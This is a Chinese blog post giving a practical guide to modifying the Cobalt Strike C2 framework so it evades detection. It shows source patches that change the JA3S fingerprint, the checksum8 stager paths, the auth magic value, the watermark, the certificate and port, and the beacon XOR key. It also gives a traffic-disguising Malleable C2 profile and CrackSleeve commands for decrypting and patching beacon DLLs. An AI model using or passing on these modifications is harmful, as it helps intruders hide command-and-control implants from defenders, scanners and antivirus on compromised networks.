Cobalt Strike流量去特征

Cobalt Strike流量去特征

逆向环境搭建

所需软件:

本次反汇编,我们只需要使用idea自带的插件java-decomplier。idea的安装目录下找到plugins/java-decompiler/lib/java-decompiler.jar文件

java -cp <java-decompiler.jar的路径>  org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true <cobaltstrike.jar的路径> <目的文件夹>

其中,-dgs=true代表允许降级机制

反编译失败可能的原因:1.*cobaltstrike.jar*文件路径中不能有空格或者中文。 2.java版本问题。我使用java17编译成功

img

反编译成功后,会出现一个文件后缀为jar的压缩包。进一步解压,即可得到源代码,反编译成功。

之后,一种方法是,我们可以先用IDEA新建一个project,java版本选择1.8。生成项目后,删除自动生成的hello world之类的测试文件。然后将源代码解压在该项目的src目录下,即完成了逆向环境初步的搭建

但是上述的方法也有很大的弊端:当我们修改完文件后打算编译回jar包时,需要重新编译整个完整的项目,此时可能会出现各种奇奇怪怪的问题。一种更好的方式是,每次只编译我们修改的文件进入原jar包中,相当于对其中的函数进行覆写。详情参考该链接

ja3/ja3s指纹修改

技术先导

JA3 是由 John Althouse、Jeff Atkinson 和 Josh Atkins 创建的开源项目。 JA3/JA3S 可以为客户端和服务器之间的通信创建 SSL 指纹。

具体是如何生成指纹的呢?我们先来考虑一次完整的的tls/ssl握手过程。在TCP三次握手之后,执行下图的动作:
img

TLS 及其前身 SSL 用于加密常见应用程序的通信(以确保数据安全)和恶意软件,以便其隐藏在噪音中。 要启动 TLS 会话,客户端将在 TCP 3 次握手后发送 TLS Client Hello 数据包。 该数据包及其生成方式取决于构建客户端应用程序时使用的包和方法。 服务器如果接受 TLS 连接,将使用 TLS Server Hello 数据包进行响应,该数据包是根据服务器端库和配置以及 Client Hello 中的详细信息制定的。 由于 TLS 协商以明文形式传输,因此可以使用 TLS 客户端 Hello 数据包中的详细信息来指纹和识别客户端应用程序。

而ja3/ja3s分别针对ClientHello和ServerHello中的某些特定字段,将这些字段使用,-连接起来,具体特定字段如下:

  • ClinetHello: TLS版本,接受的加密方式,扩展列表,椭圆曲线,椭圆曲线格式
例如: 
769,47–53–5–10–49161–49162–49171–49172–50–56–19–4,0–10–11,23–24–25,0
769,4–5–10–9–100–98–3–6–19–18–99,,,
  • ServerHello: TLS版本,接受的加密方式,扩展列表
例如:
769,47,65281–0–11–35–5–16
769,47,

之后,再使用MD5对整个被连接的字段进行加密,就得到了所谓的指纹。

769,47,65281–0–11–35–5–16 → 4835b19f14997673071435cb321f5445

指纹的特点在于:不论IP地址如何改变,只要客户端和服务端的应用程序和操作系统不变,指纹就永远不变。对于cobaltstrike来说,指纹特征只与操作系统、cobaltstrike版本有关,profile文件无法对其修改。

一些已知的指纹比如:

win10-https-beacon-ja3指纹:72a589da586844d7f0818ce684948eea
centos-cs4.4-ja3s指纹:fd4bc6cea4877646ccd62f0792ec0b62

说一点题外话,ja3/ja3s除了常规的恶意软件指纹识别外,还能识别一些特殊的指纹。比如通过识别python中的openssl库,实现python爬虫的反爬。绕过该反爬机制的难处在于,openssl库对外提供的方法或接口没办法高度自定义,比如ciphers部分只能使用一些已存在的算法而不能自定义。对于这种指纹无法高度自定义的情况,可以考虑golang的ja3transport库。该库会在ClientHello时劫持数据包并直接修改其中的ja3指纹,从而实现指纹的高度自定义。本次我们不考虑这么多,只是简单地修改ssl相关的任意参数从而让MD5发生改变即可。

修改实操

找到cloudstrike/NanoHTTPD.java文件(该文件提供NanoHTTPD服务,这是一种基于Java的轻量级HTTP服务器库,它提供了一个简洁而易于使用的API,使开发人员能够快速构建自己的HTTP服务器。在cobalt strike中,用于*http beacon*连接)。找到如下代码:

   public void listen(boolean ssl, InputStream keystore, String password) throws IOException {
      if (ssl) {
         this.isssl = true;
         ServerSocketFactory factory = this.getSSLFactory(keystore, password);
         this.ss = factory.createServerSocket(this.myTcpPort, 32);
         ((SSLServerSocket)this.ss).setEnabledCipherSuites(((SSLServerSocket)this.ss).getSupportedCipherSuites());
      }

简单解释一下: 如果我们设置ssltrue,则使用团队服务器启动时通过参数传入的密码创建一个ServerSocketFactory类型的对象。调用该对象的createServerSocket方法在某一个端口上创建一个socket对象。之后将该socket对象强制类型转换成一个ssl socket,并设置该socket可接受的加密方式为getSupportedCipherSuites方法得到的所有加密方式。

那么我们可以手动赋予ssl socket一个可用的加密方式,来替换掉通过getSupportedCipherSuites方法获得的所有加密方式。

   public void listen(boolean ssl, InputStream keystore, String password) throws IOException {
      if (ssl) {
         this.isssl = true;
         ServerSocketFactory factory = this.getSSLFactory(keystore, password);
         this.ss = factory.createServerSocket(this.myTcpPort, 32);
         String[] myciphersuites = new String[]{"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"};
         ((SSLServerSocket)this.ss).setEnabledCipherSuites(myciphersuites);

我们手动给了一个加密方式TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,从而成功更改ja3s指纹。

checksum8修改

checksum8是CobaltStrike最明显的特征之一。为了理解checksum8,我们必须回顾一次http stager的完整上线流程:

  1. 用户点击木马

  2. 受害机使用http协议从指定服务器下载stage,该文件中包括回连地址、加密字段、公钥等配置信息

  3. 通过上述信息,按设置的频率以GET方法向c2服务器发送心跳请求(cookie携带靶机信息)

  4. c2服务器将命令放入心跳请求响应包中进行下发

  5. beacon使用POST方法回传结果

而checksum8的秘密就在于第二步下载stage时的http请求路径。该路径是不唯一的,但都符合符合一个checksum8规则,即:路径的ascii之和与256取余计算值等于92(x64下为93)。比如Yle2cKTZwQPD

这个算法的危险之处在于,如果我直接访问你的Yle2路径,你将做出回应,那么你的c2服务器身份将暴露。**即使通过profile文件改变下载地址,但c2服务器依然会对checksum8地址请求作出响应。**那么网络空间测绘工具利用这一点探明你的身份。为此,我们最好通过修改源码的方式,让c2服务器不想赢checksum8地址

cloudstrike/WebServer中,修改如下代码

   public static long checksum8(String text) {
      if (text.length() < 4) {
         return 0L;
      } else {
         text = text.replace("/", "");
         long sum = 0L;

         for(int x = 0; x < text.length(); ++x) {
            sum += (long)text.charAt(x);
         }

         return sum % 256L;
      }
   }

   public static boolean isStager(String uri) {
      return checksum8(uri) == 92L;
   }

   public static boolean isStagerX64(String uri) {
      return checksum8(uri) == 93L && uri.matches("/[A-Za-z0-9]{4}");
   }

我们很容易想到,可以把92和93改成其他数字。是这个功能还想正常使用,只能改成小于256的,因为算法最后对256取余,也就是说,爆破256次必然能爆破出来。

因此我们可以尝试一些其他思路,比如固定请求路径唯一,那么它的ascii之和则唯一,通过对比ascii之和来判断是否isStager

以下我们先将checksum8函数拿出来,测试一下style.css文件的ascii之和,结果为936
img

那么思路就很清晰了。我们可以修改checksum检验是否Stager的条件,并修改受害机下载Stager时找寻的路径

cloudstrike/WebServer中,修改如下代码

   public static long checksum8(String text) {
      if (text.length() < 4) {
         return 0L;
      } else {
         text = text.replace("/", "");
         long sum = 0L;

         for(int x = 0; x < text.length(); ++x) {
            sum += (long)text.charAt(x);
         }

         return sum;
      }
   }

   public static boolean isStagerX64(String uri) {
      return checksum8(uri) == 936L;
   }

common/CommonUtils中修改代码如下:

   public static String MSFURI_X64() {
      return "style.css";
      //原代码如下
      //String[] var0 = toArray("a, b, c, d, e, f, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z, A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Z, 1, 2, 3, 4, 5, 6, 7, 8, 9, 9");

      //String var1;
      //do {
      //   var1 = "/" + pick(var0) + pick(var0) + pick(var0) + pick(var0);
      //} while(checksum8(var1) != 93L);

      //return var1;
   }

这里我只是举例了一个最傻瓜的修改方式,不过足以简单地避免空间测绘工具的全网扫描。在不同场景下,checksum8算法可以按照你的想象构造的更加复杂。

teamsever登录接口修改

请问:在CobaltStrike客户端连接teamserver时,teamserver如何确定连接方一定是通过CobaltStrike客户端发出请求,而不是其他什么奇奇怪怪的软件?在ssl/SecureServerSocket中,我们找到了答案:

   protected boolean authenticate(Socket var1, String var2, String var3) throws IOException {
      DataInputStream var4 = new DataInputStream(var1.getInputStream());
      DataOutputStream var5 = new DataOutputStream(var1.getOutputStream());
      int var6 = var4.readInt();
      if (var6 != 48879) {
         CommonUtils.print_error("rejected client from " + var3 + ": invalid auth protocol (old client?)");
         return false;
      }

可以看到,我们从var1 socket的输入流中读取了一个int类型值(前四个字节),如果该值不等于48879,则return false。teamserver依次来判断连接者是否是CobaltStrike客户端。对应的客户端配置可以在ssl/SecureSocket文件的authenticate函数中找到,相应的,客户端在进行身份认证时,会事先在前四个字节写入48879

那么很简单,同时修改客户端和teamserver中的48879为别的值即可。

watermark去水印

common/Authorization中,注意下面这段代码:

   public Authorization() {
      try {
         byte[] decrypt = new byte[]{1, -55, -61, 127, 0, 0, 0, 0, 100, 1, 0, 27, -27, -66, 82, -58, 37, 92, 51, 85, -114, -118, 28, -74, 103, -53, 6};
         DataParser dataParser = new DataParser(decrypt);
         dataParser.big();
         int int1 = dataParser.readInt();
         this.watermark = dataParser.readInt();

可以看到,在认证阶段,我们提供一组已知的字节,并根据该字节生成DataParser对象,然后调用该对象的big()函数。具体做了什么事情呢?我们查看common/DataParser:

public class DataParser {
   protected DataInputStream content;
   protected byte[] bdata;
   protected ByteBuffer buffer;
   protected byte[] original;
   protected Stack frames;

   public DataParser(InputStream var1) {
      this(CommonUtils.readAll(var1));
   }
   public void big() {
      this.buffer.order(ByteOrder.BIG_ENDIAN);
   }
}

很明显,构造函数中,只是读取了我们所提供的一组字节。然后更改小端序为大端序,从而做好了网络传输的准备。之后,根据读取该大端序数据的第五到八个字节(一个int类型值),该值即为this.watermark

那么这个this.watermark具体用于何处呢?我们在common/ListenerCongif.java中找到了答案:

   public boolean usesCookie() {
      return this.usescookie;
   }

   public String pad(String var1, int var2) {
      StringBuffer var3 = new StringBuffer();
      var3.append(var1);

      while(var3.length() < var2) {
         if (this.watermark == 0) {
            var3.append("5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\u0000");
         } else {
            var3.append((char)CommonUtils.rand(255));
         }
      }

      return var3.toString().substring(0, var2);
   }

如果this.watermark为0,那么就会添加水印5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\u0000。这一段明显的特征显然不是我们希望的,所以将这段注释掉后,改为var3.append((char)CommonUtils.rand(255));即可

teamserver端口及证书修改

直接编辑teamserver这个shell脚本文件。找到以下代码:

if [ -e ./cobaltstrike.store ]; then
   print_info "Will use existing X509 certificate and keystore (for SSL)"
else
   print_info "Generating X509 certificate and keystore (for SSL)"
   keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth"
fi

# start the team server.
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50050 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -Xms512M -Xmx1024M -classpath ./cobaltstrike.jar server.TeamServer $*

看可以看到,这段代码会判断该目录下是否有cobalstrike.store证书文件,如果没有,会通过keytool创建一个证书。而该证书最明显的特征在于-dname "CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth"。这段内容中涵盖了部分证书基本信息,包括组织名、国家等信息。我们可以随意修改,比如C=US, ST=NewYork, L=Pasadena, O=Brent Baccala, OU=FreeSoft, CN=www.freesoft.org/emailAddress=baccala@freesoft.org

事先删除已经存在的cobaltstrike.store文件,然后重新生成cobaltstrike.store文件即可

另外,更改端口50050为其他即可

Malleable-C2-Profiles配置文件

可以使用Cobalt Strike的 Malleable-C2-Profiles配置文件是用来伪装流量和修改流量特征。但是注意,这种方式不如直接修改源码的可操作性更高。比如我们可以在配置文件中修改http beacon在staging时下载payload所请求的url,但问题在于,即时更改配置文件,符合checksum8算法的url依然是可被主动访问的,但我们如果直接修改checksum8算法的源码就可以避免这种问题。另外,目前一些比较火的github上开源的配置文件也逐渐加入了防护设备的规则中,只能说这种方式胜在方便,但想要真正绕过如今的各种监测,还得考虑修改源码

我下面提供一个简单的配置文件,用于配合云函数隐藏园站:

set sleeptime "10000";     //上线睡眠默认十秒
set jitter    "0";         //不随机
set useragent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0";         //设置请求头

http-get {

    set uri "/index.html";          //定义路径

    client {
        header "Accept" "*/*";      //定义请求头
        metadata {
            base64;           //数据用base64加密
            prepend "SESSIONID=";//加密后的数据放到SESSIONID
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "text/html; charset=utf-8";//定义返回请求头
        header "content-transfer-encoding" "binary";
        header "Server" "nginx";
        output {
            base64;           //输出结果base64编码
            append "index";       //这里有个小细节,append一定要写在base64后面,不然会一起编码
            print;            //输出
        }
    }
}

http-stager {  
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}

http-post {
    set uri "/wp-admin.php";        //post路径
    client {
        header "Accept" "*/*";
        //这里的id就是任务id。post命令执行结果的时候就是用这里的
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";  //这样写格式最后在数据包的格式为Cookie: JSESSION=base64(id)
        }
        output {
            base64;     //post的数据为base64编码
            print;
        }
    }
   //同样是定义服务端的返回头和数据
    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {           
            base64;
            print;
        }
    }
}

修改beacon配置信息的默认密钥

CobaltStrike对beacon的配置信息进行了异或混淆,异或的key是固定的,3.x是0x69,4.x为0x2e。

为了隐藏特征,我们需要同时修改服务端的异或密钥和模板DLL中的异或密钥

CrackSleeve解密dll

CrackSleeve.java文件和cobaltstrike.jar放在同一级目录下,使用如下两行命令即可完成破解:

javac -encoding UTF-8 -classpath ./cobaltstrike.jar CrackSleeve.java
java -classpath "cobaltstrike.jar;./" CrackSleeve decode

这里有个坑:原版的cracksleeve只支持4.0版本的cobaltstrike,所以该程序中预先硬编码了4.0版本的OriginKey。而每个版本的cs都有不同的originkey,具体16进制字符串如下:

  • 4.0 1be5be52c6255c33558e8a1cb667cb06

  • 4.1 80e32a742060b884419ba0c171c9aa76

  • 4.2 b20d487addd4713418f2d5a3ae02a7a0

  • 4.3 3a4425490f389aeec312bdd758ad2b99

  • 4.4 5e98194a01c6b48fa582a6a9fcbb92d6

  • 4.5 f38eb3d1a335b252b58bc2acde81b542

而硬编码的key是byte数组的类型。所以我在java文件中写了一个函数,用于将16进制字符串转化为byte数组,下面以4.1版本为例:

    private static byte[] hex2bytes(String s) {
        int len = s.length();
        byte[] data = new byte[len / 2];
        for (int i = 0; i < len; i += 2){
            data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i+1), 16));
        }
        return data;
    };

    //更改原OriginKey为下面的即可
    private static byte[] OriginKey = hex2bytes("80e32a742060b884419ba0c171c9aa76");

img

修改dll异或密钥

我们需要修改的dll文件包括beacondnsbextc2pivot

这里我们以beacon举例:

使用IDA打开beacon.x64.dll文件,使用搜索模块的Search Immediate功能搜索0x2E,即可找到xor这一行的2Eh(h后缀等于0x前缀)。
img

锁定位置后,使用Edit模块的Patch Programs - Change byte来自定义修改0x2e字节
img

修改之后,使用Edit - Patch Programs - Apply patches to input file保存修改回原dll文件

最后,使用CrackSleeve重新加密dll文件即可

java -classpath "cobaltstrike.jar;./" CrackSleeve encode 80e32a742060b884419ba0c171c9aa76

修改服务端异或密钥

beacon/BeaconPayload文件中,找到如下函数:

   public static byte[] beacon_obfuscate(byte[] var0) {
      byte[] var1 = new byte[var0.length];

      for(int var2 = 0; var2 < var0.length; ++var2) {
         var1[var2] = (byte)(var0[var2] ^ 46);
      }

      return var1;
   }

这里的46就是0x2e的十进制数。我们改成自定义的异或密钥即可

小结

其实前面这些魔改只是做的表面功夫,真正到实战当中还是会被实力强的杀软秒杀,比如卡巴斯基等。遇到这些对手,需要让beacon和其他后渗透模块高度自定义,这里面涉及到很多方面,静态和行为都需要改造,所以单从魔改CS的客户端、服务端和控制端已经远远不够了,并且灵活度太低,参考快乐鸡哥用C#重写的SharpBeacon。

参考链接

https://engineering.salesforce.com/tls-fingerprinting-with-ja3-and-ja3s-247362855967/
https://bbs.kanxue.com/homepage-thread-718877-1.htm
https://wbglil.gitbook.io/cobalt-strike/cobalt-strikekuo-zhan/malleable-c2#profile-pei-zhi-wen-jian-bian-ti
https://mp.weixin.qq.com/s/gfBE-HaUCgQw8L0QByqTDA
https://pingmaoer.github.io/2020/06/24/CobaltStrike二次开发环境准备/
https://www.cnblogs.com/sunny11/p/15897335.html
https://www.elastic.co/cn/blog/detecting-cobalt-strike-with-memory-signatures
https://www.anquanke.com/post/id/265090#h2-3
https://paper.seebug.org/1922/
https://paper.seebug.org/2046/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值